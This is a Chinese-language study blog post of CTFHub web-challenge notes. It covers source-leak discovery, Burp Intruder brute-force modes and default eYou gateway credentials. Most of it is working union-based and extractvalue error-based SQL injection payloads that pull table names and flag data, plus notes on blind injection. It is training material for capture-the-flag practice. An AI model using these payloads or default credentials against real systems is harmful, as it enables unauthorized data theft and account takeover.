CTFHub学习——web

以摸鱼的心态报了网络安全比赛,在做开题的同时做一做这个作为调剂,毕设太难想了,要死了

目录遍历

对于提供网络文件系统的服务(FTP),直接遍历,下载所有文件

Phpinfo

其中包含环境变量之类的信息

源码泄露

网站备份下载

常见后缀名:

  • tar
  • tar.gz
  • zip
  • rar

常见文件名:

  • web
  • website
  • backup
  • back
  • www
  • wwwroot
  • temp

下载方法:写个脚本,挨个遍历,找到能下载的链接。如果flag没有写在文件中,说明还需要和服务器交互一下(可能是访问某个链接)

php备份

在地址后加上.bak即可访问到备份结果

vim缓存

vim缓存名称”.{name}.swp”

.DS_Store

这是Mac保存文件目录的文件,可以获得该目录下的文件列表

Git

使用到了BugScanTeam的GitHack工具

需要关注的地方:

  • log
  • stash
  • commit

Svn

  1. 找到.svn目录
  2. 使用dvcs-ripper工具爬取代码(需要Perl环境,且需要装一下LWP千万别用sudo装perl插件)
  3. 在.svn/pristine/中找到历史记录

密码

常用密码爆破

使用工具BurpSuite中Intruder模块

Sniper

有一组payload集合和多个位置,每次选用一个payload放置于一个位置进行访问

Battering Ram

与Sniper不同的是,每次选用一个payload放置于所有的位置

Pitchfork

每个位置上都有各自的payload集合,遍历所有的组合

Cluster Bomb

进行笛卡尔积计算,强上

默认密码

亿邮的邮件网关系统,系统有三个默认的帐号(admin:+-ccccc, eyougw:admin@(eyou), eyouuser:eyou_admin)

SQL注入

整型/字符注入

sql整数型/字符型 注入_白马啸龙吟的博客

  1. 存在网页,输入ID返回对应行的值
    1
    select * from news where id=<input>
  2. 检查是否存在注入可能
    1
    2
    1 and 1 = 1
    1 and 1 = 2
  3. 猜测字段数量
    1
    1 order by xxx(列号)
  4. 获取数据库名称
    1
    1 and 1=2 union select 1,database()
  5. 获取有哪些表
    1
    1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=<database_name>
  6. 获取字段名

    1
    1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=<table_name>
  7. 获取数据内容

    1
    1 and 1=2 union select 1,group_concat(flag) from sqli.flag

报错注入

SQL注入——报错注入 - Richard_Lee97 - 博客园

sql报错注入 - Threesoil - 博客园

核心函数:extractvalue,该函数用于从xml文本中获取指定字段的内容。
所以,可以将需要的查询结果放到该函数中,通过该函数的报错信息获取想要的结果。

  1. 存在如下的sql语句
    1
    select * from news where id=<input>
  2. 获取数据库名称(0x7e就是这个符合’~’)
    1
    1 and extractvalue(1,concat(0x7e,database(),0x7e))
  3. 获得表名
    1
    1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
  4. 获得列名
    1
    1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
  5. 获得数据
    1
    1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))
  6. 数据不够长
    1
    2
    3
    4
    5
    6
    使用mid函数
    前半段: 1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))
    后半段: 1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e))

    直接select
    1 and extractvalue(1,(select flag from flag))

布尔盲注

大概就是,页面只能返回True和False,通过一些办法,使用Bool返回值猜测出需要的数据

关键函数:

  • length(str): Byte
  • substr(str, pos, len)
  • ascii(char): 字母到数字

时间盲注

在条件中增加基于感兴趣字段的返回值选择睡眠时长,然后依据返回时长确定字段的值(二分)

关键函数:

  • if(condition, when_true, when_false)
  • sleep(second)